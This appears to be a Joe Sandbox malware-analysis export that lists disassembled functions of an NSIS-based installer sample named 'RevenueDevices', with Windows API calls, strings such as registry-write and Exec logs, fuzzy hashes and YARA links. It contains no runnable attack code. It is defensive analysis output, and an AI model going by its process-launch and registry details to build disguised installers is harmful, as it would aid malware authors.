Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

@rD, xrefs: 00404610
@%F, xrefs: 00404674
A, xrefs: 00404636
82D, xrefs: 004046DB

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

%s=%s, xrefs: 00406B43
[Rename], xrefs: 00406BC8, 00406BD7
NUL, xrefs: 00406A9E
F, xrefs: 00406AE8

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

@%F, xrefs: 00406A53
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF
@%F, xrefs: 0040682C

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 004023F0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: %s not found in %s, xrefs: 0040249A
`~, xrefs: 00402473
Error registering DLL: Could not load %s, xrefs: 004024DB

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$`~
API String ID: 1033533793-2800238622
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: command="%s", xrefs: 00402241
Exec: success ("%s"), xrefs: 00402263
Exec: failed createprocess ("%s"), xrefs: 004022C2

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00014200,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

